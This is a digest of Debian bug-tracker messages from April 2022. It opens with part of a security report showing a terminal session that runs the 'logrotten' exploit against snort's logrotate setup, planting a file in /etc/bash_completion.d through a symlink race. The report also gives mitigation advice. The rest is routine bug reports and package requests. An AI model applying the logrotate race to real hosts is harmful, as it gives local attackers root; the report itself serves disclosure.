snort@b8ff2e70f94d:/tmp/logrotten$ gcc -o logrotten logrotten.c

snort@b8ff2e70f94d:/tmp/logrotten$ echo "hello world" > payload
snort@b8ff2e70f94d:/tmp/logrotten$ mkdir /var/log/snort/pwn
snort@b8ff2e70f94d:/tmp/logrotten$ vim /var/log/snort/pwn/pwnme.lo

snort@b8ff2e70f94d:/tmp/logrotten$ ./logrotten -p payload -c 
/var/log/snort/pwn/pwnme.log
Waiting for rotating /var/log/snort/pwn/pwnme.log...
Renamed /var/log/snort/pwn with /var/log/snort/pwn2 and created symlink to 
/etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
snort@b8ff2e70f94d:/tmp/logrotten$ ls -l /etc/bash_completion.d/
total 8
-rw-r--r-- 1 root  root 439 Mar 10  2021 git-prompt
-r-xr-xr-x 1 snort adm   19 Apr 14 08:43 pwnme.log


Mitigation:
###

You could mitigate the problem by changing the owner and group of 
/var/log/snort to root, or by using the "su option" in /etc/logrotate.d/snort.

Note: I also checked out the sources of the current snort(snort-2.9.19). The 
source archive contains a file "snort-2.9.19/rpm/snort.logrotate" with a very 
similar content.

I have tested this vulnerability on Debian Bullseye with the following snort 
version:

||/ Name   Version  Architecture Description
+++-==---===
ii  snort  2.9.15.1-5   amd64flexible Network Intrusion 
Detection System


I also checked out Debian Buster and it has a different logrotate-config for 
snort which doesn't seem to be affected.


-- System Information:
Debian Release: 11.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.10.0-13-amd64 (SMP w/1 CPU thread)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages snort depends on:
ii  adduser  3.118
ii  debconf [debconf-2.0]1.5.77
ii  init-system-helpers  1.60
ii  libc62.31-13+deb11u3
ii  libdaq2  2.0.7-5
ii  libdumbnet1  1.12-9
ii  liblzma5 5.2.5-2
ii  libnetfilter-queue1  1.0.5-2
ii  libnghttp2-141.43.0-1
ii  libpcap0.8   1.10.0-2
ii  libpcre3 2:8.39-13
ii  libssl1.11.1.1n-0+deb11u1
ii  logrotate3.18.0-2
ii  lsb-base 11.1.0
ii  net-tools1.60+git20181103.0eebece-1
ii  rsyslog [system-log-daemon]  8.2102.0-2
ii  snort-common 2.9.15.1-5
ii  snort-common-libraries   2.9.15.1-5
ii  snort-rules-default  2.9.15.1-5
ii  zlib1g   1:1.2.11.dfsg-2+deb11u1

Versi

Bug#1009819: ITP: --

2022-04-18 Thread Eric Brown

Package: wnpp
Severity: wishlist
X-Debbugs-Cc: e...@ericebrown.com

Subject: ITP:  -- 
Package: wnpp
Owner: Eric Brown 
Severity: wishlist

* Package name: 
  Version : 
  Upstream Author : 
* URL : 
* License : 
  Programming Lang: (C, C++, C#, Perl, Python, etc.)
  Description : 


Remark: This package is maintained by  at

Bug#1009764: [pkg-crosswire-devel] Processed: Re: Bug#1009764: xiphos: freezes when page is changed


Am 17.04.22 um 23:24 schrieb Fr Cyrille:

I have the same issue on Macbook Pro (of course with Ubuntu 20.04).
Maybe this bug have to be reported upstream.


So can you provide more info? Does this happen with every Bible module?

Bug#981680: closed by Debian FTP Masters (reply to Mathias Gibbens ) (Bug#981680: fixed in golang-github-canonical-go-dqlite 1.10.1-1)

2022-04-18 Thread Nilesh Patra

Control: severtiy -1 important

On Fri, 26 Nov 2021 14:43:09 +0200 Adrian Bunk  wrote:
> Control: reopen -1
> 
> On Fri, Nov 26, 2021 at 12:21:09PM +, Debian Bug Tracking System wrote:
> >...
> >  golang-github-canonical-go-dqlite (1.10.1-1) unstable; urgency=medium
> >...
> >* Add patches to fix tests (Closes: #981680)
> >...
> 
> Unfortunately this does not seem to be sufficient:
> https://buildd.debian.org/status/logs.php?pkg=golang-github-canonical-go-dqlite&ver=1.10.1-1

1.11.0-1 builds so I am lowering the severity.


signature.asc
Description: PGP signature

Bug#1009818: V2Ray 4.34.0-5 (Debian Unstable ver.) Crashes when VMess Protocol is Used because an unsynchronized update of Golang and V2Ray - HMAC constructor fix not applied on Debian

2022-04-18 Thread Shelikhoo


Package: v2ray
Version: 4.34.0-5

This bug is submitted by upstream developers on behalf of end-users for 
a Debian specific bug.  We are ready to cooperate with the Debian side 
to resolve this bug.


V2Ray 4.34.0-5 (Debian Unstable ver.) crashes when VMess protocol is 
used because an unsynchronized update of Golang and V2Ray as HMAC 
constructor fix is not applied on Debian version of V2Ray.


The version of the source code currently included in Debian will not 
work if compiled with Golang 1.15+(or possibly 1.16+). We have already 
fixed this issue more than 1 year 
ago(https://github.com/v2fly/v2ray-core/commit/0024c6e028768d8516bdee11be9834b2617ff00c) 
however this changeset is not included in Debian. We recommend this 
commit be backported to the Debian version of V2Ray(I will exercise 
self-control to refrain from asking you to keep the package up to date.).


The original issue on the upstream issue tracker: 
https://github.com/v2fly/v2ray-core/issues/1730 [Chinese, some comments 
are in English] Translated below:


Issue Title:
Debian/Unstable 's v2ray package panic: crypto/hmac

Which version of V2Ray are you using:
4.34.0-5 (Debian/Unstable)

What are you using it for:
Server

What is the anomaly observed by you:
Run v2ray will report the error "panic: crypto/hmac: hash generation 
function does not produce unique values"


What is the expected behaviour:
V2Ray operates normally

Please submit your configuration file:
server:

{
  "inbounds": [
    {
  "port": 3334,
  "protocol": "vmess",
  "settings":{
    "clients":[
  {
  "id": "3e3343e2-13d8-44c3-887f-46675e7bf313"
  }
    ]
  }
    }
  ],
  "outbounds": [
    {
  "protocol": "freedom",
  "settings": {}
    }
  ]
}
===
Please attach error message:
command: v2ray --test --config /etc/v2ray/config.json
message:
===
V2Ray 4.34.0 (user) 20220118-150717 (go1.17.6 linux/amd64)
A unified platform for anti-censorship.
panic: crypto/hmac: hash generation function does not produce unique values

goroutine 1 [running]:
crypto/hmac.New(0xc00015b5f0, {0xc38a80, 0x16, 0x18})
    crypto/hmac/hmac.go:143 +0x292
v2ray.com/core/proxy/vmess/aead.KDF({0xc000171c20, 0x10, 0x10}, 
{0xc00015b640, 0x1, 0x10})

    v2ray.com/core/proxy/vmess/aead/kdf.go:13 +0x127
v2ray.com/core/proxy/vmess/aead.KDF16(...)
    v2ray.com/core/proxy/vmess/aead/kdf.go:22
v2ray.com/core/proxy/vmess/aead.NewCipherFromKey({0xc000171c20, 
0x618573, 0xcd4180})

    v2ray.com/core/proxy/vmess/aead/authid.go:41 +0x4a
v2ray.com/core/proxy/vmess/aead.NewAuthIDDecoder(...)
    v2ray.com/core/proxy/vmess/aead/authid.go:53
v2ray.com/core/proxy/vmess/aead.NewAuthIDDecoderItem(...)
    v2ray.com/core/proxy/vmess/aead/authid.go:84
v2ray.com/core/proxy/vmess/aead.(*AuthIDDecoderHolder).AddUser(0xc00016e6a0, 
{0x92, 0x5, 0x5d, 0x4b, 0x26, 0xcf, 0xe5, 0xf3, 0xed, ...}, ...)

    v2ray.com/core/proxy/vmess/aead/authid.go:90 +0x50
v2ray.com/core/proxy/vmess.(*TimedUserValidator).Add(0xc000172e70, 
0xc000165980)

    v2ray.com/core/proxy/vmess/validator.go:152 +0x365
v2ray.com/core/proxy/vmess/inbound.(*Handler).AddUser(0xc000174300, 
{0xb03000, 0x0}, 0x2)

    v2ray.com/core/proxy/vmess/inbound/inbound.go:166 +0x52
v2ray.com/core/proxy/vmess/inbound.New({0xd654c0, 0xc0001655f0}, 
0xc7f5e0)

    v2ray.com/core/proxy/vmess/inbound/inbound.go:133 +0x3b0
v2ray.com/core/proxy/vmess/inbound.init.2.func1({0xd654c0, 
0xc0001655f0}, {0xc1a500, 0xc7f5e0})

    v2ray.com/core/proxy/vmess/inbound/inbound.go:355 +0x3c
v2ray.com/core/common.CreateObject({0xd654c0, 0xc0001655f0}, {0xc1a500, 
0xc7f5e0})

    v2ray.com/core/common/type.go:32 +0x1a5
v2ray.com/core/app/proxyman/inbound.NewAlwaysOnInboundHandler({0xd654c0, 
0xc0001655f0}, {0x0, 0x624e0}, 0xc000172e00, {0xc1a500, 0xc7f5e0})

    v2ray.com/core/app/proxyman/inbound/always.go:52 +0x71
v2ray.com/core/app/proxyman/inbound.NewHandler({0xd654c0, 0xc0001655f0}, 
0xc0001740c0)

    v2ray.com/core/app/proxyman/inbound/inbound.go:162 +0x2c5
v2ray.com/core/app/proxyman/inbound.init.0.func2({0xd654c0, 
0xc0001655f0}, {0xc0cbc0, 0xc0001740c0})

    v2ray.com/core/app/proxyman/inbound/inbound.go:176 +0x3c
v2ray.com/core/common.CreateObject({0xd654c0, 0xc0001655f0}, {0xc0cbc0, 
0xc0001740c0})

    v2ray.com/core/common/type.go:32 +0x1a5
v2ray.com/core.CreateObject(0x6, {0xc0cbc0, 0xc0001740c0})
    v2ray.com/core/functions.go:21 +0x78
v2ray.com/core.AddInboundHandler(0xc7f0e0, 0x4)
    v2ray.com/core/v2ray.go:101 +0x65
v2ray.com/core.addInboundHandlers(0xc7f0e0, {0xc10fd0, 0x1, 
0xc7f0e0})

    v2ray.com/core/v2ray.go:117 +0x56
v2ray.com/core.initInstanceWithConfig(0xc000166fc0, 0xc7f0e0)
    v2ray.com/core/v2ray.go:229 +0x42b
v2ray.com/core.New(0xc4ce5c)
    v2ray.com/core/v2ray.go:164 +0x77
main.startV2Ray()
    v2ray.com/core/main/main.go:115 +0x230
main.main()
    v2ray.com/core/main/

Bug#1008832: freeradius-python3: Module not linked with libpython when built with Python 3.10

2022-04-18 Thread Andreas Metzler

Control: tags -1 patch

On 2022-04-02 Adrian Bunk  wrote:
> Package: freeradius-python3
> Version: 3.0.25+dfsg-1
> Severity: serious
> Forwarded: https://github.com/FreeRADIUS/freeradius-server/issues/4441

> Package: freeradius-python3
> Version: 3.0.25+dfsg-1+b1
> Depends: freeradius (= 3.0.25+dfsg-1+b1), libc6 (>= 2.4), libpython3.9 (>= 
> 3.9.1)

> $ objdump -p /usr/lib/freeradius/rlm_python3.so | grep NEEDED  NEEDED 
>   libpython3.9.so.1.0
>   NEEDED   libpthread.so.0
>   NEEDED   libdl.so.2
>   NEEDED   libc.so.6
>   NEEDED   ld-linux-x86-64.so.2
> $

> Package: freeradius-python3
> Version: 3.0.25+dfsg-1+b2
> Depends: freeradius (= 3.0.25+dfsg-1+b2), libc6 (>= 2.4)

> $ objdump -p /usr/lib/freeradius/rlm_python3.so | grep NEEDED
>   NEEDED   libpthread.so.0
>   NEEDED   libdl.so.2
>   NEEDED   libc.so.6
>   NEEDED   ld-linux-x86-64.so.2
> $

Hello,

As far as I can tell this caused by
a) freeradius doing an incomplete autoreconf at build-time (only at top
level directory, to configure-scripts in subdirectories are not
regenerated and
b) the upstream tarball's src/modules/rlm_python3/configure was built
using old autoconf macros which do not handle python 3.10.

Minimal fix seems to be to ship the results of

pushd  src/modules/rlm_python3/ && aclocal -I ../../../m4  && autoconf -I 
../../../m4 --force ; popd

in a patch.

A complete fix would fix dh_autoreconf usage to rebuild all configure
scripts. The basic idea would be 
override_dh_autoreconf:
dh_autoreconf --verbose debian/autoreconfme
and debian/autoreconfme containing
8X---
#!/bin/sh

set -e
base=`pwd`
find `pwd` -name configure.ac -printf '%h\n' |
while read i ; do
cd $i
autoconf --force \
--include=${base}/m4
done
8X---

However some additional ugliness is going to be needed because the
upstream system is kindof broken:
[...]
(sid)ametzler@argenau:/dev/shm/FREE/freeradius-3.0.25+dfsg/src/modules/rlm_python3$
 autoconf -I ../../../m4 --force -I /usr/share/aclocal
[...]
configure.ac:13: error: possibly undefined macro: AM_PATH_PYTHON

---> So in this subdirectory aclocal is needed before autoconf to resolve
 AM_PATH_PYTHON.

But aclocal does not run successfully in all module subdirectories, e.g.
rlm_perl ...
(sid)ametzler@argenau:/dev/shm/FREE/freeradius-3.0.25+dfsg/src/modules/rlm_perl$
 aclocal -I ../../../m4 --force
[...]
aclocal: error: configure.ac:6: file 'ax_with_prog.m4' does not exist
(sid)ametzler@argenau:/dev/shm/FREE/freeradius-3.0.25+dfsg/src/modules/rlm_perl$
 grep ax_with_prog.m4 configure.ac
m4_include([ax_with_prog.m4])

... since in my tests aclocal does not look in directories given in -I
options to find files specified in m4_include() but expects the file
in the current working directories.

Obvious ugly solutions:
* Copy the m4 file to the subdirectories where they are refered by
  m4_include and run aclocal in addition to autoconf in
  debian/autoreconfme.
* Semi-manually construct a toplevel aclocal.m4 file by running aclocal on
  a throwaway configure.ac using all non-standard macros like
  AM_PATH_PYTHON and the invoke autoconf in the subdirectories with -I
  to the directory contaiing the constructed aclocal.m4.

cu Andreas

-- 
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'

Bug#965480: d52: diff for NMU version 3.4.1-1.2

2022-04-18 Thread guilherme.lnx

Control: tags 965480 + patch
Control: tags 965480 + pending

Dear maintainer,

I've prepared an NMU for d52 (versioned as 3.4.1-1.2) and
uploaded it to DELAYED/2. Please feel free to tell me if I
should delay it longer.

Regards.

diff -u d52-3.4.1/debian/changelog d52-3.4.1/debian/changelog
--- d52-3.4.1/debian/changelog
+++ d52-3.4.1/debian/changelog
@@ -1,3 +1,10 @@
+d52 (3.4.1-1.2) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * Bumped debhelper compat to 7. (Closes: #965480)
+
+ -- Guilherme de Paula Xavier Segundo   Mon, 18 Apr 2022 07:36:59 -0300
+
 d52 (3.4.1-1.1) unstable; urgency=low
 
   * Non-maintainer upload.


signature.asc
Description: PGP signature

Bug#1009817: ITP: liblist-keywords-perl -- selection of list utility keywords

2022-04-18 Thread gregor herrmann

Package: wnpp
Owner: gregor herrmann 
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org, debian-p...@lists.debian.org

* Package name: liblist-keywords-perl
  Version : 0.08
  Upstream Author : Paul Evans 
* URL : https://metacpan.org/release/List-Keywords
* License : Artistic or GPL-1+
  Programming Lang: Perl
  Description : selection of list utility keywords

List::Keywords provides keywords that behave (almost) identically to familiar
functions from List::Util, but implemented as keyword plugins instead of
functions. As a result these run more efficiently, especially in small code
cases.

The package will be maintained under the umbrella of the Debian Perl Group.

--
Generated with the help of dpt-gen-itp(1) from pkg-perl-tools.


signature.asc
Description: Digital Signature

Bug#1009816: gnome-software: No GUI on NVIDIA proprietary drivers and Wayland

2022-04-18 Thread Mikolaj Kuranowski

Package: gnome-software
Version: 42.0-1
Severity: important
X-Debbugs-Cc: mkuranowski+deb...@gmail.com

Running on Gnome with Wayland and NVIDIA proprietary drivers (nvidia-driver 
version 470.103.01-3) -
and launching Gnome Software leaves its process running in the background, 
without any GUI windows.

The only hint at an error is the following warning from gnome-shell:
`meta_window_set_stack_position_no_sync: assertion 'window->stack_position >= 
0' failed`.

This issue renders gnome-software unusable, however switching to X11 or Nouveau 
drivers
allows the bug to be circumvented.


-- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 5.16.0-6-amd64 (SMP w/16 CPU threads; PREEMPT)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gnome-software depends on:
ii  appstream0.15.2-2
ii  apt-config-icons 0.15.2-2
ii  dconf-gsettings-backend [gsettings-backend]  0.40.0-3
ii  gnome-software-common42.0-1
ii  gsettings-desktop-schemas42.0-1
ii  libadwaita-1-0   1.1.0-1
ii  libappstream40.15.2-2
ii  libc62.33-7
ii  libcairo21.16.0-5
ii  libfwupd21.7.6-1
ii  libgdk-pixbuf-2.0-0  2.42.8+dfsg-1
ii  libglib2.0-0 2.72.0-1+b1
ii  libgtk-4-1   4.6.2+ds-1
ii  libgtk3-perl 0.038-1
ii  libgudev-1.0-0   237-2
ii  libjson-glib-1.0-0   1.6.6-1
ii  libmalcontent-0-00.10.3-1
ii  libpackagekit-glib2-18   1.2.5-3
ii  libpango-1.0-0   1.50.6+ds-2
ii  libpolkit-gobject-1-00.105-33
ii  libsoup2.4-1 2.74.2-3
ii  libxmlb2 0.3.8-1
ii  packagekit   1.2.5-3
ii  software-properties-gtk  0.96.20.2-2.1

Versions of packages gnome-software recommends:
ii  fwupd  1.7.6-1

Versions of packages gnome-software suggests:
pn  apt-config-icons-hidpi 
pn  gnome-software-plugin-flatpak  
pn  gnome-software-plugin-snap 

-- no debconf information

Bug#1008818: why is this rpm's fault?

2022-04-18 Thread Thomas Lange

> On Mon, 18 Apr 2022 16:16:18 +0300, Peter Pentchev  
> said:


> If you run sudo without the "set_home" option, thus making it preserve
> the HOME environment variable, rpm run as root with HOME set to
> /home/something will indeed do the wrong thing.
I have no set_home entry in /etc/sudoers and everything in
/etc/sudo.conf is commented out.

Here's a test:

As normal user
$ export HOME=/tmp/b
$ sudo rpm -qa

This still creates /root/.rpmdb
and not
/tmp/b/.rpmdb

-- 
regards Thomas

Bug#997767: open-ath9k-htc-firmware: FTBFS: patching fails


Control: notforwarded -1
Control: tags -1 - pending

On Sun, 24 Oct 2021 13:05:15 + John Scott  wrote:

The fix is currently waiting in the NEW queue.


It seems the upload has not passed the NEW queue.
Can you please hand in the fix again?
I would very much like this package to be available in bookworm.

Bug#1009815: debmutate.watch: Use perl-compatible regular expressions

2022-04-18 Thread Jelmer Vernooij

Package: python3-debmutate
Version: 0.49
Severity: minor

uscan is written in perl and uses perl regular expressions.

debmutate.watch currently uses Python's default re module, which supports a
slightly different syntax.

We should ideally switch to the pcre module.

-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 5.15.0-3-amd64 (SMP w/2 CPU threads)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages python3-debmutate depends on:
ii  python3 3.9.8-1
ii  python3-debian  0.1.43
ii  python3-merge3  0.0.8-1
ii  python3-tr  0.1+git20161102.e74d4bd-1.1

Versions of packages python3-debmutate recommends:
ii  python3-debian   0.1.43
ii  python3-semver   2.10.2-3
ii  python3-tomlkit  0.9.2-1

Versions of packages python3-debmutate suggests:
pn  gnome-pkg-tools
ii  postgresql-common  240

-- debconf-show failed

Bug#569828: manpages/synop.xsl makes a mess of long function names

On Sun, 07 Mar 2010 17:53:11 + Ben Hutchings  wrote:
> tags 569828 + patch
> Example output in linux-manual-2.6.32

Is this still an existing issue?

I noticed this bug was forwarded to sf, but there have been no reactions to 
that in almost 8 years. I think it's very unlike that will change as f.e. the 
project itself has moved to https://github.com/docbook/xslt10-stylesheets and 
a search for this bug number resulted in 0 hits.

If it's still useful to get this fixed, then a new submission to the GH project 
is more useful. Otherwise it may be better to just close the bug?

signature.asc
Description: This is a digitally signed message part.

Bug#993670: linux-image-5.10.0-8-686: Screen corruption using radeon kernel driver

Can you still reproduce this issue with a more recent kernel?

On Sat, 4 Sep 2021 19:40:01 +0300 Mikhail Krylov  wrote:
> Forgot to add that disabling HIMEM also gets rid of that problem. But it
> also leaves the system with less that 1G of RAM, which is, of course,
> undesirable

There was another suggestion: "setting radeon.agpmode=-1 on the kernel
command line (in grub)"
If a recent kernel hasn't fixed it, does the other suggestion fix the issue?

signature.asc
Description: This is a digitally signed message part.

Bug#927163: Bug#964181: linux-image-4.19.0-9-amd64: Unable to get battery status

Control: tag -1 moreinfo

On 18 Aug 2020 22:43:39 +0200 Tino Schmidt  wrote:
> a few changes were necessary to fix this issue:
> 
> diff --git a/config-4.19.0-10-amd64 b/config-4.19.0-10-amd64
> index eb55c7b..c952314 100644
> --- a/config-4.19.0-10-amd64
> +++ b/config-4.19.0-10-amd64
> @@ -3918,2 +3918,2 @@ CONFIG_I2C_SCMI=m
> -CONFIG_I2C_DESIGNWARE_CORE=m
> -CONFIG_I2C_DESIGNWARE_PLATFORM=m
> +CONFIG_I2C_DESIGNWARE_CORE=y
> +CONFIG_I2C_DESIGNWARE_PLATFORM=y

commit d5c998412628563e86efc90c3ff1be01b0bd397f, part of kernel 5.8 
changed PLATFORM to 'y', which in turn (likely) turned CORE into 'y' too

> @@ -4460 +4460 @@ CONFIG_BCMA_DRIVER_PCI=y
> -CONFIG_MFD_CORE=m
> +CONFIG_MFD_CORE=y

and I guess this one too (it isn't explicitly set, but it is 'y' on the oldest 
5.10 amd64 kernel I have installed

> @@ -4466,2 +4466,2 @@ CONFIG_MFD_CORE=m
> -CONFIG_MFD_AXP20X=m
> -CONFIG_MFD_AXP20X_I2C=m
> +CONFIG_MFD_AXP20X=y
> +CONFIG_MFD_AXP20X_I2C=y

These are still 'm' on my oldest 5.10 amd64 kernel ...
(got enabled in 95cf0f2687b7e3efb84a508028167bcc8680a5d3 to fix #895129)

> @@ -7234 +7234 @@ CONFIG_MMA9553=m
> -# CONFIG_AXP288_ADC is not set
> +CONFIG_AXP288_ADC=m

I suspect that this was the crucial missing piece ...

> After recompilation of the kernel the directory /sys/class/power_supply
> was populated and I got a battery indicator on the taskbar.

... and that got added in aa87da1f902dba04f3b15680e178ad336e985f4f and is part 
of the 5.10 kernels (previously it was only enabled on arm64 and armhf).

Tino and Markus:
Can you verify whether the issue is fixed with a 5.10+ kernel?

signature.asc
Description: This is a digitally signed message part.

Bug#1009204: vdirsyncer: diff for NMU version 0.18.0-6.1

2022-04-18 Thread Michael Tokarev

Control: tags 1009204 + patch
Control: tags 1009204 + pending

Dear maintainer,

I've prepared an NMU for vdirsyncer (versioned as 0.18.0-6.1) and
uploaded it to DELAYED/2. Please feel free to tell me if I
should delay it longer.

I also prepared a repository update at https://salsa.debian.org/mjt/vdirsyncer ,
tag debian/0.18.0-6.1 , branch nmu-0.18.0-6.1, at 324bef8b , which you can
import to the main repository.

Regards.

diff -Nru vdirsyncer-0.18.0/debian/changelog vdirsyncer-0.18.0/debian/changelog
--- vdirsyncer-0.18.0/debian/changelog  2022-02-23 01:34:53.0 +0300
+++ vdirsyncer-0.18.0/debian/changelog  2022-04-18 17:39:33.0 +0300
@@ -1,3 +1,12 @@
+vdirsyncer (0.18.0-6.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * add python3-all dependency to d/tests/control: the test is written
+so it iterates over all python3 versions but does not depend on
+all pythons. Closes: #1009204
+
+ -- Michael Tokarev   Mon, 18 Apr 2022 17:39:33 +0300
+
 vdirsyncer (0.18.0-6) unstable; urgency=medium
 
   * avoid checking flaky test test_fuzzing;
diff -Nru vdirsyncer-0.18.0/debian/tests/control 
vdirsyncer-0.18.0/debian/tests/control
--- vdirsyncer-0.18.0/debian/tests/control  2022-02-23 01:23:14.0 
+0300
+++ vdirsyncer-0.18.0/debian/tests/control  2022-04-18 17:39:21.0 
+0300
@@ -7,4 +7,5 @@
  python3-pytest,
  python3-pytest-cov,
  python3-pytest-localserver,
+ python3-all,
  vdirsyncer,

Bug#1009745: My bad.. Just ignore the report.

2022-04-18 Thread Beardy Face

Dear Maintainer,

Sorry to have bothered you.
This is what comes of switching between installs & doing reinstalls when tired.

I simply forgot the adwaita-qt package was required for the option to be there 
and was using an install with it absent.

Feel free to close this.

Bug#1009814: android-platform-tools_29.0.6-8_s390x-buildd.changes REJECTED

2022-04-18 Thread Aurelien Jarno

Source: android-platform-tools
Version: 29.0.6-8
Severity: serious

On 2022-04-18 14:49, Debian FTP Masters wrote:
> 
> 
> Version check failed:
> Your upload included the binary package android-sdk-libsparse-utils, version 
> 29.0.6-8, for s390x,
> however testing already has version 1:10.0.0+r36-10.
> Uploads to unstable must have a higher version than present in testing.
> 
> Mapping sid to unstable.
> 
> ===
> 
> Please feel free to respond to this email if you don't understand why
> your files were rejected, or if you upload new files which address our
> concerns.
> 
> 
>

Bug#1009813: virt-viewer: Upstream releases switched to xz; v11 available


Source: virt-viewer
Severity: important
Version: 9.0-1

The debian/watch file scans for *.tar.gz. There are two newer releases 
available only as *.tar.xz.
Please change the watch file and import the current upstream version.

Bug#1009812: xfce4-panel-profiles: Missing functionality. Save/export not possible.

2022-04-18 Thread Mark Brandis

Package: xfce4-panel-profiles
Version: 1.0.13-1
Severity: important
X-Debbugs-Cc: mark.bran...@posteo.de


-- System Information:
Debian Release: bookworm/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 
'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.16.0-6-amd64 (SMP w/4 CPU threads; PREEMPT)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL 
set to en_US.UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages xfce4-panel-profiles depends on:
ii  gir1.2-glib-2.01.72.0-1+b1
ii  gir1.2-gtk-3.0 3.24.33-1
ii  gir1.2-libxfce4ui-2.0  4.16.1-1
ii  python33.10.4-1

xfce4-panel-profiles recommends no packages.

xfce4-panel-profiles suggests no packages.

-- no debconf information

Bug#1009811: ITP: python-pcre -- Python bindings for the Perl Compatible Regex Engine

2022-04-18 Thread Jelmer Vernooij

Package: wnpp
Severity: wishlist
Owner: Jelmer Vernooij 
X-Debbugs-Cc: debian-de...@lists.debian.org

* Package name: python-pcre
  Version : 0.7
  Upstream Author : Name 
* URL : https://github.com/awahlig/python-pcre
* License : BSD-3
  Programming Lang: Python, C
  Description : Python bindings for the Perl Compatible Regex Engine

This Python module provides bindings for PCRE, useful in situations
where strict compatibility is necessary.

Bug#1008818: why is this rpm's fault?

2022-04-18 Thread Peter Pentchev

On Mon, Apr 18, 2022 at 02:56:37PM +0200, la...@debian.org wrote:
> 
> > On one side, “rpm -qa” will create the directory in my home directory as
> > myself, but “sudo rpm -qa” will do the wrong thing.
> 
> What do you mean by wrong?
> 
> On my bullseye machine sudo rpm -qa creates the subdirectory in
> /root/.rpmdb as root. So IMO this works correct.
> 
> rpm -qa without sudo creates $HOME/rpmdb as my user. This is also
> correct.
> 
> I don't understand why this bug was assigned to rpm.

If you run sudo without the "set_home" option, thus making it preserve
the HOME environment variable, rpm run as root with HOME set to
/home/something will indeed do the wrong thing.

I will take a look into making the controversial Debian local patch to
rpm for creating a per-user database perform some more checks.

G'luck,
Peter

-- 
Peter Pentchev  r...@ringlet.net r...@debian.org p...@storpool.com
PGP key:http://people.FreeBSD.org/~roam/roam.key.asc
Key fingerprint 2EE7 A7A5 17FC 124C F115  C354 651E EFB0 2527 DF13


signature.asc
Description: PGP signature

Bug#999567: busybox: CVE-2021-42373 through CVE-2021-42386 (fixed in 1.34)

Control: tag -1 pending

On 12 Nov 2021 16:54:06 +0100 Diederik de Haas  wrote:
> Package: busybox
> Version: 1:1.30.1-7+b1
> Severity: important
> Tags: security upstream fixed-upstream

The new upstream version fixing these CVEs (and others) have been ready in 
salsa for several months now.
I'd really appreciate it if what's ready in salsa could be uploaded soon (tm).

Cheers,
  Diederik

signature.asc
Description: This is a digitally signed message part.

Bug#1004993: virt-viewer: severe memory leak